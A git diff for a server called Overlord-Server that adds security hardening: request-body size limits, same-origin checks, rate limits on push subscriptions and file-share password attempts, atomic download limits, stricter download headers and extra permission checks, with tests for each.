+ expect(harness.forwarded.map((entry) => entry.event)).toEqual(["chat_attachment"]);
+ expect(harness.handlers.drainPluginUIEvents("client-a", "chat")).toEqual([]);
+
+ expect(isPlausibleChatAttachmentEventPayload({
+ mime: "text/html",
+ dataB64: "AAAA",
+ })).toBe(false);
+ });
+
+ test("rate limits repeated events per client/plugin key", () => {
+ const harness = createPluginEventHarness();
+ harness.pluginLoadedByClient.set("client-a", new Set(["sample"]));
+ for (let i = 0; i < MAX_PLUGIN_EVENTS_PER_KEY_PER_MINUTE + 5; i += 1) {
+ harness.handlers.handlePluginEvent("client-a", {
+ pluginId: "sample",
+ event: "pong",
+ payload: { i },
+ });
+ }
+ expect(harness.forwarded).toHaveLength(MAX_PLUGIN_EVENTS_PER_KEY_PER_MINUTE);
+ });
+
+ test("evicts old UI events before the per-key byte buffer can grow unbounded", () => {
+ const harness = createPluginEventHarness();
+ harness.pluginLoadedByClient.set("client-a", new Set(["sample"]));
+ const payload = { text: "x".repeat(240 * 1024) };
+ for (let i = 0; i < 40; i += 1) {
+ harness.handlers.handlePluginEvent("client-a", {
+ pluginId: "sample",
+ event: "echo",
+ payload,
+ });
+ }
+
+ expect(harness.forwarded).toHaveLength(40);
+ const buffered = harness.handlers.drainPluginUIEvents("client-a", "sample");
+ expect(buffered.length).toBeGreaterThan(0);
+ expect(buffered.length).toBeLessThan(40);
+ });
+
+ test("enforces per-key, per-client, and global buffered-byte ceilings", () => {
+ expect(hasPluginUIEventBufferCapacity(
+ MAX_BUFFERED_PLUGIN_EVENT_BYTES_PER_KEY - 1,
+ 0,
+ 0,
+ 1,
+ )).toBe(true);
+ expect(hasPluginUIEventBufferCapacity(
+ MAX_BUFFERED_PLUGIN_EVENT_BYTES_PER_KEY,
+ 0,
+ 0,
+ 1,
+ )).toBe(false);
+ expect(hasPluginUIEventBufferCapacity(
+ 0,
+ MAX_BUFFERED_PLUGIN_EVENT_BYTES_PER_CLIENT,
+ 0,
+ 1,
+ )).toBe(false);
+ expect(hasPluginUIEventBufferCapacity(
+ 0,
+ 0,
+ MAX_BUFFERED_PLUGIN_EVENT_BYTES_GLOBAL,
+ 1,
+ )).toBe(false);
+ });
+});
+*/
diff --git a/Overlord-Server/src/server/push-subscription-security.test.ts b/Overlord-Server/src/server/push-subscription-security.test.ts
new file mode 100644
index 0000000..c2efbe4
--- /dev/null
+++ b/Overlord-Server/src/server/push-subscription-security.test.ts
@@ -0,0 +1,152 @@
+import { afterEach, describe, expect, test } from "bun:test";
+import {
+ deletePushSubscriptionsByUser,
+ getAllPushSubscriptions,
+ getPushSubscriptionsByUser,
+ savePushSubscription,
+} from "../db";
+import { db } from "../db/connection";
+import {
+ clearRequestRateLimitsForTests,
+ consumePushSubscriptionMutationRateLimit,
+} from "../rateLimit";
+import { settleInBoundedBatches } from "./notification-delivery";
+
+const testUserIds = new Set();
+let nextTestUserId = 1_500_000_000 + Math.floor(Math.random() * 100_000_000);
+
+afterEach(() => {
+ for (const userId of testUserIds) deletePushSubscriptionsByUser(userId);
+ testUserIds.clear();
+ clearRequestRateLimitsForTests();
+});
+
+function uniqueUserId(): number {
+ const id = nextTestUserId++;
+ testUserIds.add(id);
+ return id;
+}
+
+describe("Web Push subscription abuse controls", () => {
+ test("transactionally caps storage, evicts only the owner's oldest entry, and prevents endpoint takeover", () => {
+ const userA = uniqueUserId();
+ const userB = uniqueUserId();
+ const prefix = `push-security-${Date.now()}-${Math.random().toString(16).slice(2)}`;
+ const endpoint = (name: string) => `https://push.example.test/${prefix}/${name}`;
+ const baseline = Number(
+ db.query<{ count: number }>("SELECT COUNT(*) AS count FROM push_subscriptions").get()?.count ?? 0,
+ );
+ const limits = { perUser: 2, global: baseline + 3 };
+
+ expect(savePushSubscription(userA, endpoint("a1"), "key-a1", "auth-a1", limits)).toEqual({
+ ok: true,
+ action: "created",
+ });
+ expect(savePushSubscription(userA, endpoint("a2"), "key-a2", "auth-a2", limits).ok).toBe(true);
+
+ const replacement = savePushSubscription(
+ userA,
+ endpoint("a3"),
+ "key-a3",
+ "auth-a3",
+ limits,
+ );
+ expect(replacement).toEqual({
+ ok: true,
+ action: "created",
+ evictedEndpoint: endpoint("a1"),
+ });
+ expect(getPushSubscriptionsByUser(userA).map((sub) => sub.endpoint).sort()).toEqual(
+ [endpoint("a2"), endpoint("a3")].sort(),
+ );
+
+ expect(savePushSubscription(userB, endpoint("a2"), "stolen", "stolen", limits)).toEqual({
+ ok: false,
+ reason: "endpoint_conflict",
+ });
+ expect(savePushSubscription(userB, endpoint("b1"), "key-b1", "auth-b1", limits).ok).toBe(true);
+ expect(savePushSubscription(userB, endpoint("b2"), "key-b2", "auth-b2", limits)).toEqual({
+ ok: false,
+ reason: "global_limit",
+ limit: baseline + 3,
+ });
+
+ // Refreshing an endpoint already owned by this user remains possible at
+ // the global cap and does not create another row.
+ expect(savePushSubscription(userA, endpoint("a2"), "new-key", "new-auth", limits)).toEqual({
+ ok: true,
+ action: "updated",
+ });
+ expect(getPushSubscriptionsByUser(userA).find((sub) => sub.endpoint === endpoint("a2"))?.p256dh)
+ .toBe("new-key");
+ expect(getAllPushSubscriptions(2)).toHaveLength(2);
+ expect(getAllPushSubscriptions(0)).toEqual([]);
+ });
+
+ test("rate-limits subscribe and unsubscribe mutations per authenticated user", () => {
+ const previous = {
+ max: process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_MAX,
+ window: process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_WINDOW_SECONDS,
+ lockout: process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_LOCKOUT_SECONDS,
+ };
+ process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_MAX = "2";
+ process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_WINDOW_SECONDS = "10";
+ process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_LOCKOUT_SECONDS = "10";
+ clearRequestRateLimitsForTests();
+
+ try {
+ expect(consumePushSubscriptionMutationRateLimit(42).limited).toBe(false);
+ expect(consumePushSubscriptionMutationRateLimit(42).limited).toBe(false);
+ const blocked = consumePushSubscriptionMutationRateLimit(42);
+ expect(blocked.limited).toBe(true);
+ expect(blocked.retryAfter).toBeGreaterThan(0);
+ expect(consumePushSubscriptionMutationRateLimit(43).limited).toBe(false);
+ } finally {
+ if (previous.max === undefined) delete process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_MAX;
+ else process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_MAX = previous.max;
+ if (previous.window === undefined) delete process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_WINDOW_SECONDS;
+ else process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_WINDOW_SECONDS = previous.window;
+ if (previous.lockout === undefined) delete process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_LOCKOUT_SECONDS;
+ else process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_LOCKOUT_SECONDS = previous.lockout;
+ }
+ });
+
+ test("settles delivery in bounded batches without aborting after a failure", async () => {
+ const items = Array.from({ length: 11 }, (_, index) => index);
+ let active = 0;
+ let maxActive = 0;
+ let firstBatchCompleted = 0;
+ let completedWhenSecondBatchStarted = -1;
+ const attempted: number[] = [];
+ const errors: number[] = [];
+
+ await settleInBoundedBatches(
+ items,
+ async (item) => {
+ if (item === 4 && completedWhenSecondBatchStarted < 0) {
+ completedWhenSecondBatchStarted = firstBatchCompleted;
+ }
+ attempted.push(item);
+ active += 1;
+ maxActive = Math.max(maxActive, active);
+ try {
+ await new Promise((resolve) => setTimeout(resolve, 2));
+ } finally {
+ active -= 1;
+ if (item < 4) firstBatchCompleted += 1;
+ }
+ if (item === 6) throw new Error("expected delivery failure");
+ },
+ {
+ concurrency: 3,
+ batchSize: 4,
+ onError: (_error, item) => errors.push(item),
+ },
+ );
+
+ expect(attempted.sort((a, b) => a - b)).toEqual(items);
+ expect(maxActive).toBeLessThanOrEqual(3);
+ expect(completedWhenSecondBatchStarted).toBe(4);
+ expect(errors).toEqual([6]);
+ });
+});
diff --git a/Overlord-Server/src/server/request-body.test.ts b/Overlord-Server/src/server/request-body.test.ts
new file mode 100644
index 0000000..306a502
--- /dev/null
+++ b/Overlord-Server/src/server/request-body.test.ts
@@ -0,0 +1,27 @@
+import { describe, expect, test } from "bun:test";
+import { readJsonBodyLimited, RequestBodyTooLargeError } from "./request-body";
+
+describe("readJsonBodyLimited", () => {
+ test("parses a bounded JSON request", async () => {
+ const request = new Request("https://localhost/api/login", {
+ method: "POST",
+ body: JSON.stringify({ user: "alice" }),
+ });
+ expect(await readJsonBodyLimited(request, 1_024)).toEqual({ user: "alice" });
+ });
+
+ test("rejects declared and streamed bodies over the limit", async () => {
+ const declared = new Request("https://localhost/api/login", {
+ method: "POST",
+ headers: { "Content-Length": "100" },
+ body: "{}",
+ });
+ await expect(readJsonBodyLimited(declared, 10)).rejects.toBeInstanceOf(RequestBodyTooLargeError);
+
+ const streamed = new Request("https://localhost/api/login", {
+ method: "POST",
+ body: "x".repeat(100),
+ });
+ await expect(readJsonBodyLimited(streamed, 10)).rejects.toBeInstanceOf(RequestBodyTooLargeError);
+ });
+});
diff --git a/Overlord-Server/src/server/request-body.ts b/Overlord-Server/src/server/request-body.ts
new file mode 100644
index 0000000..4bffda7
--- /dev/null
+++ b/Overlord-Server/src/server/request-body.ts
@@ -0,0 +1,42 @@
+export class RequestBodyTooLargeError extends Error {
+ constructor(readonly maxBytes: number) {
+ super(`Request body exceeds ${maxBytes} byte limit`);
+ this.name = "RequestBodyTooLargeError";
+ }
+}
+
+export async function readBodyLimited(req: Request, maxBytes: number): Promise> {
+ const declaredLength = Number(req.headers.get("content-length") || 0);
+ if (Number.isFinite(declaredLength) && declaredLength > maxBytes) {
+ throw new RequestBodyTooLargeError(maxBytes);
+ }
+
+ const reader = req.body?.getReader();
+ if (!reader) return new Uint8Array();
+ const chunks: Uint8Array[] = [];
+ let total = 0;
+ while (true) {
+ const { done, value } = await reader.read();
+ if (done) break;
+ if (!value) continue;
+ total += value.byteLength;
+ if (total > maxBytes) {
+ try { await reader.cancel(); } catch {}
+ throw new RequestBodyTooLargeError(maxBytes);
+ }
+ chunks.push(value);
+ }
+
+ const bytes = new Uint8Array(total);
+ let offset = 0;
+ for (const chunk of chunks) {
+ bytes.set(chunk, offset);
+ offset += chunk.byteLength;
+ }
+ return bytes;
+}
+
+export async function readJsonBodyLimited(req: Request, maxBytes: number): Promise {
+ const bytes = await readBodyLimited(req, maxBytes);
+ return JSON.parse(new TextDecoder().decode(bytes));
+}
diff --git a/Overlord-Server/src/server/request-origin.test.ts b/Overlord-Server/src/server/request-origin.test.ts
new file mode 100644
index 0000000..58e8310
--- /dev/null
+++ b/Overlord-Server/src/server/request-origin.test.ts
@@ -0,0 +1,26 @@
+import { describe, expect, test } from "bun:test";
+import { isSameOriginBrowserRequest } from "./request-origin";
+
+describe("browser request origin validation", () => {
+ const url = new URL("https://overlord.example.com/api/dashboard/ws");
+
+ test("accepts the exact origin", () => {
+ const req = new Request(url, {
+ headers: { Origin: "https://overlord.example.com", "Sec-Fetch-Site": "same-origin" },
+ });
+ expect(isSameOriginBrowserRequest(req, url, { requireOrigin: true })).toBe(true);
+ });
+
+ test("rejects sibling, null, malformed, and missing viewer origins", () => {
+ for (const origin of ["https://evil.example.com", "null", "not a url"]) {
+ const req = new Request(url, { headers: { Origin: origin } });
+ expect(isSameOriginBrowserRequest(req, url, { requireOrigin: true })).toBe(false);
+ }
+ expect(isSameOriginBrowserRequest(new Request(url), url, { requireOrigin: true })).toBe(false);
+ });
+
+ test("rejects browser-declared same-site requests even without Origin", () => {
+ const req = new Request(url, { headers: { "Sec-Fetch-Site": "same-site" } });
+ expect(isSameOriginBrowserRequest(req, url)).toBe(false);
+ });
+});
diff --git a/Overlord-Server/src/server/request-origin.ts b/Overlord-Server/src/server/request-origin.ts
new file mode 100644
index 0000000..91b62ba
--- /dev/null
+++ b/Overlord-Server/src/server/request-origin.ts
@@ -0,0 +1,50 @@
+const UNSAFE_METHODS = new Set(["POST", "PUT", "PATCH", "DELETE"]);
+
+function configuredPublicOrigin(): string | null {
+ const raw = String(process.env.OVERLORD_PUBLIC_ORIGIN || "").trim();
+ if (!raw) return null;
+ try {
+ const parsed = new URL(raw);
+ if (parsed.protocol !== "http:" && parsed.protocol !== "https:") return null;
+ return parsed.origin;
+ } catch {
+ return null;
+ }
+}
+
+export function expectedRequestOrigin(url: URL): string {
+ const configured = configuredPublicOrigin();
+ if (configured) return configured;
+ const tlsOffload = ["1", "true", "yes", "on"].includes(
+ String(process.env.OVERLORD_TLS_OFFLOAD || "").trim().toLowerCase(),
+ );
+ const protocol = tlsOffload ? "https:" : url.protocol;
+ return `${protocol}//${url.host}`;
+}
+
+export function isSameOriginBrowserRequest(
+ req: Request,
+ url: URL,
+ options: { requireOrigin?: boolean } = {},
+): boolean {
+ const fetchSite = (req.headers.get("sec-fetch-site") || "").trim().toLowerCase();
+ if (fetchSite === "cross-site" || fetchSite === "same-site") return false;
+
+ const rawOrigin = req.headers.get("origin");
+ if (!rawOrigin) {
+ return !options.requireOrigin && (fetchSite === "" || fetchSite === "none" || fetchSite === "same-origin");
+ }
+ if (rawOrigin === "null") return false;
+
+ try {
+ return new URL(rawOrigin).origin === expectedRequestOrigin(url);
+ } catch {
+ return false;
+ }
+}
+
+export function rejectUnsafeCrossOriginRequest(req: Request, url: URL): Response | null {
+ if (!UNSAFE_METHODS.has(req.method.toUpperCase())) return null;
+ if (isSameOriginBrowserRequest(req, url)) return null;
+ return new Response("Forbidden: cross-origin request rejected", { status: 403 });
+}
diff --git a/Overlord-Server/src/server/routes/auth-routes.ts b/Overlord-Server/src/server/routes/auth-routes.ts
index d4c6776..3fd765b 100644
--- a/Overlord-Server/src/server/routes/auth-routes.ts
+++ b/Overlord-Server/src/server/routes/auth-routes.ts
@@ -42,6 +42,9 @@ import {
} from "../../users";
import { getUserPermissions, requirePermission } from "../../rbac";
import { makeAuthCookie, makeAuthCookieClear } from "./auth-cookie";
+import { readJsonBodyLimited, RequestBodyTooLargeError } from "../request-body";
+
+const LOGIN_BODY_MAX_BYTES = 16 * 1024;
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
@@ -86,11 +89,16 @@ export async function handleAuthRoutes(
}
try {
- const body = await req.json();
- const username = body?.user || "";
- const password = body?.pass || "";
+ const body = await readJsonBodyLimited(req, LOGIN_BODY_MAX_BYTES);
+ const username = typeof body?.user === "string" ? body.user : "";
+ const password = typeof body?.pass === "string" ? body.pass : "";
const mfaCode = typeof body?.mfaCode === "string" ? body.mfaCode : "";
+ if (username.length > 256 || password.length > 1_024 || mfaCode.length > 32) {
+ recordFailedAttempt(ip);
+ return Response.json({ ok: false, error: "Invalid credentials" }, { status: 401 });
+ }
+
const user = await authenticateUser(username, password);
if (user) {
@@ -177,6 +185,9 @@ export async function handleAuthRoutes(
errorMessage: "Invalid credentials",
});
} catch (error) {
+ if (error instanceof RequestBodyTooLargeError) {
+ return Response.json({ ok: false, error: "Request body too large" }, { status: 413 });
+ }
logger.error("[auth] Login error:", error);
logAudit({
timestamp: Date.now(),
diff --git a/Overlord-Server/src/server/routes/client-routes.ts b/Overlord-Server/src/server/routes/client-routes.ts
index 95bf81b..d0f6ff5 100644
--- a/Overlord-Server/src/server/routes/client-routes.ts
+++ b/Overlord-Server/src/server/routes/client-routes.ts
@@ -309,7 +309,12 @@ export async function handleClientRoutes(
return Response.json({ ok: false, disabled: true }, { headers: deps.CORS_HEADERS });
}
const { requestThumbnailRegen, markThumbnailRequested, getThumbnailVersion, waitForThumbnail, clearThumbnailRequest } = await import("../../thumbnails");
- markThumbnailRequested(clientId);
+ if (!markThumbnailRequested(clientId)) {
+ return Response.json(
+ { ok: false, error: "thumbnail request capacity exceeded" },
+ { status: 429, headers: deps.CORS_HEADERS },
+ );
+ }
const target = clientManager.getClient(clientId);
const beforeVersion = getThumbnailVersion(clientId);
if (target?.online) {
diff --git a/Overlord-Server/src/server/routes/file-share-routes.security.test.ts b/Overlord-Server/src/server/routes/file-share-routes.security.test.ts
new file mode 100644
index 0000000..004aae8
--- /dev/null
+++ b/Overlord-Server/src/server/routes/file-share-routes.security.test.ts
@@ -0,0 +1,139 @@
+import { afterEach, describe, expect, test } from "bun:test";
+import {
+ claimSharedFileDownload,
+ deleteSharedFile,
+ getSharedFile,
+ insertSharedFile,
+} from "../../db";
+import {
+ clearFileSharePasswordAttempts,
+ consumeFileSharePasswordAttempt,
+ FILE_SHARE_PASSWORD_ATTEMPT_WINDOW_MS,
+ FILE_SHARE_PASSWORD_MAX_ATTEMPTS,
+ handleFileShareRoutes,
+} from "./file-share-routes";
+
+const createdFileIds: string[] = [];
+
+function insertTestFile(options: {
+ maxDownloads?: number | null;
+ expiresAt?: number | null;
+ passwordHash?: string | null;
+} = {}): string {
+ const id = `file-share-security-${crypto.randomUUID()}`;
+ insertSharedFile({
+ id,
+ filename: "payload.txt",
+ storedPath: `${process.env.TEMP || "."}/${id}/payload.txt`,
+ size: 7,
+ mimeType: "text/plain",
+ uploadedBy: 0,
+ uploadedByUsername: "test",
+ passwordHash: options.passwordHash ?? null,
+ maxDownloads: options.maxDownloads ?? null,
+ downloadCount: 0,
+ expiresAt: options.expiresAt ?? null,
+ createdAt: Date.now(),
+ description: null,
+ });
+ createdFileIds.push(id);
+ return id;
+}
+
+afterEach(() => {
+ delete process.env.OVERLORD_ALLOW_FILE_SHARE_PASSWORD_QUERY;
+ while (createdFileIds.length > 0) {
+ const id = createdFileIds.pop();
+ if (id) deleteSharedFile(id);
+ }
+});
+
+describe("file-share public download security", () => {
+ test("password verification attempts are bounded per peer and file", () => {
+ const now = 1_000_000;
+ const key = `203.0.113.10:${crypto.randomUUID()}`;
+ const otherKey = `203.0.113.10:${crypto.randomUUID()}`;
+ try {
+ for (let i = 0; i < FILE_SHARE_PASSWORD_MAX_ATTEMPTS; i += 1) {
+ expect(consumeFileSharePasswordAttempt(key, now).limited).toBe(false);
+ }
+ const limited = consumeFileSharePasswordAttempt(key, now);
+ expect(limited.limited).toBe(true);
+ expect(limited.retryAfter).toBe(FILE_SHARE_PASSWORD_ATTEMPT_WINDOW_MS / 1000);
+ expect(consumeFileSharePasswordAttempt(otherKey, now).limited).toBe(false);
+ expect(
+ consumeFileSharePasswordAttempt(key, now + FILE_SHARE_PASSWORD_ATTEMPT_WINDOW_MS).limited,
+ ).toBe(false);
+ } finally {
+ clearFileSharePasswordAttempts(key);
+ clearFileSharePasswordAttempts(otherKey);
+ }
+ });
+
+ test("route rate-limits against the trusted peer address before password verification", async () => {
+ const hash = await Bun.password.hash("correct horse battery staple", {
+ algorithm: "bcrypt",
+ cost: 4,
+ });
+ const id = insertTestFile({ passwordHash: hash });
+ const ip = "198.51.100.44";
+ const key = `${ip}:${id}`;
+ for (let i = 0; i < FILE_SHARE_PASSWORD_MAX_ATTEMPTS; i += 1) {
+ consumeFileSharePasswordAttempt(key);
+ }
+
+ try {
+ const url = new URL(`https://localhost/api/file-share/${id}/download`);
+ const response = await handleFileShareRoutes(
+ new Request(url, { headers: { "X-Download-Password": "wrong" } }),
+ url,
+ {
+ FILE_SHARE_ROOT: process.env.TEMP || ".",
+ requestIP: () => ({ address: ip }),
+ },
+ );
+ expect(response?.status).toBe(429);
+ expect(Number(response?.headers.get("Retry-After"))).toBeGreaterThan(0);
+ } finally {
+ clearFileSharePasswordAttempts(key);
+ }
+ });
+
+ test("supports legacy password query links unless explicitly disabled", async () => {
+ const hash = await Bun.password.hash("correct horse battery staple", {
+ algorithm: "bcrypt",
+ cost: 4,
+ });
+ const id = insertTestFile({ passwordHash: hash });
+ const url = new URL(
+ `https://localhost/api/file-share/${id}/download?password=wrong`,
+ );
+ const deps = {
+ FILE_SHARE_ROOT: process.env.TEMP || ".",
+ requestIP: () => ({ address: "198.51.100.45" }),
+ };
+
+ const legacy = await handleFileShareRoutes(new Request(url), url, deps);
+ expect(legacy?.status).toBe(403);
+
+ process.env.OVERLORD_ALLOW_FILE_SHARE_PASSWORD_QUERY = "false";
+ const rejected = await handleFileShareRoutes(new Request(url), url, deps);
+ expect(rejected?.status).toBe(400);
+ expect(await rejected?.json()).toEqual({
+ error: "Password query parameters are disabled; use X-Download-Password",
+ });
+ });
+
+ test("atomically refuses downloads beyond the configured maximum", () => {
+ const id = insertTestFile({ maxDownloads: 1 });
+ expect(claimSharedFileDownload(id)).toBe(true);
+ expect(claimSharedFileDownload(id)).toBe(false);
+ expect(getSharedFile(id)?.downloadCount).toBe(1);
+ });
+
+ test("does not claim an expired download", () => {
+ const id = insertTestFile({ expiresAt: Date.now() - 1 });
+ expect(claimSharedFileDownload(id)).toBe(false);
+ expect(getSharedFile(id)?.downloadCount).toBe(0);
+ });
+});
diff --git a/Overlord-Server/src/server/routes/file-share-routes.ts b/Overlord-Server/src/server/routes/file-share-routes.ts
index ac9e488..3ebf250 100644
--- a/Overlord-Server/src/server/routes/file-share-routes.ts
+++ b/Overlord-Server/src/server/routes/file-share-routes.ts
@@ -10,7 +10,7 @@ import {
insertSharedFile,
deleteSharedFile,
updateSharedFile,
- incrementSharedFileDownloadCount,
+ claimSharedFileDownload,
} from "../../db";
import { getUserById } from "../../users";
import { checkPermission, requirePermission } from "../../rbac";
@@ -18,8 +18,79 @@ import { resolveContainedPath, sanitizeUploadFilename } from "../upload-security
type FileShareRouteDeps = {
FILE_SHARE_ROOT: string;
+ /** Must be the server's trusted-proxy-aware peer address resolver. */
+ requestIP?: (req: Request) => { address?: string } | null | undefined;
};
+export const FILE_SHARE_PASSWORD_MAX_ATTEMPTS = 10;
+export const FILE_SHARE_PASSWORD_ATTEMPT_WINDOW_MS = 15 * 60 * 1000;
+const FILE_SHARE_PASSWORD_LIMIT_MAX_KEYS = 10_000;
+const FILE_SHARE_PASSWORD_MAX_CHARS = 1_024;
+const FILE_SHARE_PASSWORD_PRUNE_INTERVAL_MS = 60_000;
+
+function allowLegacyPasswordQuery(): boolean {
+ const setting = String(process.env.OVERLORD_ALLOW_FILE_SHARE_PASSWORD_QUERY || "").trim();
+ return !/^(?:0|false|no|off)$/i.test(setting);
+}
+
+type FileSharePasswordAttempts = {
+ attempts: number;
+ expiresAt: number;
+};
+
+const fileSharePasswordAttempts = new Map();
+let lastFileSharePasswordPrune = 0;
+
+function pruneFileSharePasswordAttempts(now: number): void {
+ if (
+ fileSharePasswordAttempts.size < FILE_SHARE_PASSWORD_LIMIT_MAX_KEYS
+ && now - lastFileSharePasswordPrune < FILE_SHARE_PASSWORD_PRUNE_INTERVAL_MS
+ ) {
+ return;
+ }
+ lastFileSharePasswordPrune = now;
+ for (const [key, state] of fileSharePasswordAttempts) {
+ if (state.expiresAt <= now) fileSharePasswordAttempts.delete(key);
+ }
+ while (fileSharePasswordAttempts.size >= FILE_SHARE_PASSWORD_LIMIT_MAX_KEYS) {
+ const oldestKey = fileSharePasswordAttempts.keys().next().value;
+ if (typeof oldestKey !== "string") break;
+ fileSharePasswordAttempts.delete(oldestKey);
+ }
+}
+
+/** Reserves one expensive password verification before bcrypt is invoked. */
+export function consumeFileSharePasswordAttempt(
+ key: string,
+ now = Date.now(),
+): { limited: boolean; retryAfter: number } {
+ let state = fileSharePasswordAttempts.get(key);
+ if (state && state.expiresAt <= now) {
+ fileSharePasswordAttempts.delete(key);
+ state = undefined;
+ }
+ if (state && state.attempts >= FILE_SHARE_PASSWORD_MAX_ATTEMPTS) {
+ return {
+ limited: true,
+ retryAfter: Math.max(1, Math.ceil((state.expiresAt - now) / 1000)),
+ };
+ }
+ if (!state) {
+ pruneFileSharePasswordAttempts(now);
+ fileSharePasswordAttempts.set(key, {
+ attempts: 1,
+ expiresAt: now + FILE_SHARE_PASSWORD_ATTEMPT_WINDOW_MS,
+ });
+ } else {
+ state.attempts += 1;
+ }
+ return { limited: false, retryAfter: 0 };
+}
+
+export function clearFileSharePasswordAttempts(key: string): void {
+ fileSharePasswordAttempts.delete(key);
+}
+
function guessMimeType(filename: string): string {
const ext = path.extname(filename).toLowerCase();
const map: Record = {
@@ -110,14 +181,36 @@ export async function handleFileShareRoutes(
}
if (file.passwordHash) {
- const providedPassword = req.headers.get("X-Download-Password") || url.searchParams.get("password") || "";
+ const headerPassword = req.headers.get("X-Download-Password") || "";
+ const queryPassword = url.searchParams.get("password") || "";
+ if (!headerPassword && queryPassword && !allowLegacyPasswordQuery()) {
+ return Response.json(
+ { error: "Password query parameters are disabled; use X-Download-Password" },
+ { status: 400 },
+ );
+ }
+ const providedPassword = headerPassword || (allowLegacyPasswordQuery() ? queryPassword : "");
if (!providedPassword) {
return Response.json({ error: "Password required" }, { status: 401 });
}
+
+ const peerAddress = deps.requestIP?.(req)?.address?.trim() || "unknown";
+ const passwordAttemptKey = `${peerAddress.slice(0, 128)}:${file.id}`;
+ const limit = consumeFileSharePasswordAttempt(passwordAttemptKey);
+ if (limit.limited) {
+ return Response.json(
+ { error: "Too many password attempts. Try again later." },
+ { status: 429, headers: { "Retry-After": String(limit.retryAfter) } },
+ );
+ }
+ if (providedPassword.length > FILE_SHARE_PASSWORD_MAX_CHARS) {
+ return Response.json({ error: "Invalid password" }, { status: 403 });
+ }
const valid = await Bun.password.verify(providedPassword, file.passwordHash);
if (!valid) {
return Response.json({ error: "Invalid password" }, { status: 403 });
}
+ clearFileSharePasswordAttempts(passwordAttemptKey);
}
const diskFile = Bun.file(file.storedPath);
@@ -125,7 +218,16 @@ export async function handleFileShareRoutes(
return Response.json({ error: "File not found on disk" }, { status: 404 });
}
- incrementSharedFileDownloadCount(file.id);
+ if (!claimSharedFileDownload(file.id)) {
+ const current = getSharedFile(file.id);
+ if (!current) {
+ return Response.json({ error: "File not found" }, { status: 404 });
+ }
+ if (current.expiresAt && current.expiresAt < Date.now()) {
+ return Response.json({ error: "File has expired" }, { status: 410 });
+ }
+ return Response.json({ error: "Download limit reached" }, { status: 410 });
+ }
const sanitizedFilename = file.filename.replace(/[^\w.\-() ]/g, "_");
@@ -134,6 +236,11 @@ export async function handleFileShareRoutes(
"Content-Type": file.mimeType || "application/octet-stream",
"Content-Disposition": `attachment; filename="${sanitizedFilename}"`,
"Content-Length": String(file.size),
+ "Content-Security-Policy": "sandbox; default-src 'none'",
+ "X-Content-Type-Options": "nosniff",
+ "X-Frame-Options": "DENY",
+ "Referrer-Policy": "no-referrer",
+ "Cache-Control": "private, no-store",
},
});
}
diff --git a/Overlord-Server/src/server/routes/misc-routes.ts b/Overlord-Server/src/server/routes/misc-routes.ts
index cf2e5ea..f4d8437 100644
--- a/Overlord-Server/src/server/routes/misc-routes.ts
+++ b/Overlord-Server/src/server/routes/misc-routes.ts
@@ -979,6 +979,12 @@ export async function handleMiscRoutes(
if (user.role === "viewer") {
return new Response("Forbidden", { status: 403 });
}
+ try {
+ requirePermission(user, "clients:control");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
const proxies = getActiveProxies().filter((p) =>
canUserAccessClient(user.userId, user.role, p.clientId),
);
@@ -993,6 +999,12 @@ export async function handleMiscRoutes(
if (user.role === "viewer") {
return new Response("Forbidden", { status: 403 });
}
+ try {
+ requirePermission(user, "clients:control");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
let body: any = {};
try {
body = await req.json();
@@ -1034,6 +1046,12 @@ export async function handleMiscRoutes(
if (user.role === "viewer") {
return new Response("Forbidden", { status: 403 });
}
+ try {
+ requirePermission(user, "clients:control");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
let body: any = {};
try {
body = await req.json();
diff --git a/Overlord-Server/src/server/routes/notifications-config-routes.security.test.ts b/Overlord-Server/src/server/routes/notifications-config-routes.security.test.ts
new file mode 100644
index 0000000..8a47dd5
--- /dev/null
+++ b/Overlord-Server/src/server/routes/notifications-config-routes.security.test.ts
@@ -0,0 +1,129 @@
+import { afterAll, beforeAll, describe, expect, test } from "bun:test";
+import { generateToken } from "../../auth";
+import {
+ createUser,
+ deleteUser,
+ getUserById,
+ getUserNotificationSettings,
+} from "../../users";
+import { handleNotificationsConfigRoutes } from "./notifications-config-routes";
+
+let adminUserId = 0;
+let adminToken = "";
+
+const server = {
+ requestIP: () => ({ address: "127.0.0.1" }),
+};
+
+const deps = {
+ getNotificationScreenshot: () => null,
+ secureHeaders: () => ({}),
+};
+
+beforeAll(async () => {
+ const suffix = `${Date.now().toString(36)}${Math.random().toString(36).slice(2, 8)}`;
+ const created = await createUser(
+ `nsa_${suffix}`,
+ "Aa1!NotificationsSecurityPass_2026",
+ "admin",
+ "test",
+ );
+ expect(created.success).toBe(true);
+ adminUserId = created.userId!;
+ adminToken = await generateToken(getUserById(adminUserId)!);
+});
+
+afterAll(() => {
+ if (adminUserId) deleteUser(adminUserId);
+});
+
+function authenticatedJsonRequest(
+ url: URL,
+ method: string,
+ body: string,
+ declaredLength?: number,
+): Request {
+ const headers: Record = {
+ Authorization: `Bearer ${adminToken}`,
+ "Content-Type": "application/json",
+ };
+ if (declaredLength !== undefined) headers["Content-Length"] = String(declaredLength);
+ return new Request(url, { method, headers, body });
+}
+
+describe("notification configuration request limits", () => {
+ test("rejects oversized bodies at every authenticated mutation endpoint", async () => {
+ const cases = [
+ { path: "/api/notifications/config", method: "PUT", bytes: 128 * 1024 + 1 },
+ { path: "/api/notifications/my-settings", method: "PUT", bytes: 64 * 1024 + 1 },
